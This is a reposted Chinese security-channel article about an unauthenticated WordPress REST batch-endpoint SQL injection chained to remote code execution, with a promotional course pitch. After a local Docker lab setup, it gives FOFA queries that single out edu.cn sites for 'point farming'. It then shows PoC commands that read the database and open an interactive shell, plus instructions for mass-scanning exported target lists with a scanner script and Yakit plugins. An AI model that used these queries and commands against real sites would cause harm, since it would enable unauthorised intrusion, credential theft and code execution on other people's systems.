【edu通杀刷分】CVE-2026-63030/60137-Wp2Shell命令执行+SQL注入

XYsec

2026年7月27日 14:30
山东

在小说阅读器读本章

去阅读

以下文章来源于神农Sec
，作者神农Sec

神农Sec
.

专注于SRC漏洞挖掘、红蓝对抗、渗透测试、代码审计JS逆向，CNVD和EDUSRC漏洞挖掘。不定期分享网络安全领域各种好玩的项目及好用的工具，欢迎关注。#尽在神农Sec# 文章如有侵权，请联系删除，感谢！

课程培训

扫码咨询

专注于SRC漏洞挖掘、红蓝对抗、渗透测试、代码审计JS逆向，CNVD和EDUSRC漏洞挖掘，以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具，欢迎关注。加内部圈子，文末有彩蛋（课程培训限时优惠）。

01

0x1 【edu通杀刷分】CVE-2026-63030/60137-Wp2Shell命令执行+SQL注入

0x1 前言

WordPress 内置 REST API，允许开发者通过 HTTP 请求与站点进行数据交互，实现前后端分离、移动应用对接及第三方服务集成。其批量请求端点（/wp-json/batch/v1）自5.6版本起内置，用于将多个子请求打包为单次 HTTP 调用以提升性能。攻击者无需身份认证即可通过漏洞链触发数据库查询，实现管理员账户信息泄露。可实现未授权 SQL 注入获取管理员密码哈希，再通过破解管理员密码并利用插件安装功能可实现代码执行。

null

影响版本

• WordPress 6.8.0-6.85
• WordPress 6.9.0 – 6.9.4
• WordPress 7.0.0 – 7.0.1

利用条件：

• 目标系统的REST API 接口处于开启状态【WordPress 默认开启】

FOFA语法：

app=\"WordPress\"

null

edu刷证书站也是OK的

app=\"WordPress\" && host=\"edu.cn\"

null

null

0x2 靶场环境搭建

靶场下载：

先下载官方 WordPress 6.9.4 源码：https://wordpress.org/wordpress-6.9.4.tar.gz

null

进入wordpress 文件夹，在同目录新建docker-compose.yml，内容如下：

services:
  web:
    image: wordpress:6.9.4-apache
    ports:
      - \"8090:80\"
    environment:
      WORDPRESS_DB_HOST: db
      WORDPRESS_DB_USER: wpuser
      WORDPRESS_DB_PASSWORD: wppass
      WORDPRESS_DB_NAME: wpdb
    volumes:
      - ./:/var/www/html
    depends_on:
      - db
    restart: unless-stopped

  db:
    image: mariadb:10.6
    environment:
      MYSQL_DATABASE: wpdb
      MYSQL_USER: wpuser
      MYSQL_PASSWORD: wppass
      MYSQL_ROOT_PASSWORD: rootpass
    volumes:
      - db_data:/var/lib/mysql
    restart: unless-stopped

volumes:
  db_data:

null

启动环境：

# 启动容器
docker-compose up -d

# 给目录权限，避免安装报错
docker-compose exec web chown -R www-data:www-data /var/www/html

null

访问：http://localhost:8090/

null

null

0x3 漏洞利用

一、poc脚本

GitHub项目地址：

https://github.com/Icex0/wp2shell-poc

null

1、漏洞存活检测

python3 wp2shell.py check http://localhost:8090/

重点关注这一行，若存在，说明目标存在 Batch 路由混淆行为：

[+] VULNERABLE — batch route-confusion behavior detected.

null

2、SQL注入漏洞

python3 wp2shell.py read http://127.0.0.1:8090 --query \"SELECT DATABASE()\"
python3 wp2shell.py read http://127.0.0.1:8090 --query \"SELECT @@version\"

null

3、命令执行RCE

python3 wp2shell.py shell http://localhost:8090/ -i

null

二、批量刷分

FOFA语法：

app=\"WordPress\"

null

把相关资产导出，然后使用下面这个脚本批量测试，GitHub项目地址：

https://github.com/fullhunt/wp2shell-scan

null

安装依赖：

pip3 install -r requirements.txt

null

• -u 单个目标
• -f 批量目标文件（txt 一行一个 URL）
• -o 输出结果文件
• --check-type检测模式
• time-based 时间盲注（推荐，无破坏、最稳定）
• error-based 报错盲注（速度快，部分站点会拦截报错）
• --timeout 请求超时时间
• --delay 盲注休眠时长（默认 3 秒）

批量检测命令（时间盲注，推荐）

python3 wp2shell-scan.py check -l targets.txt

null

存在漏洞即显示下面的：

null

三、Yakit插件漏洞扫

下载对应CVE漏洞的插件

null

null

批量导入

null

直接就可以看存在漏洞的资产了

null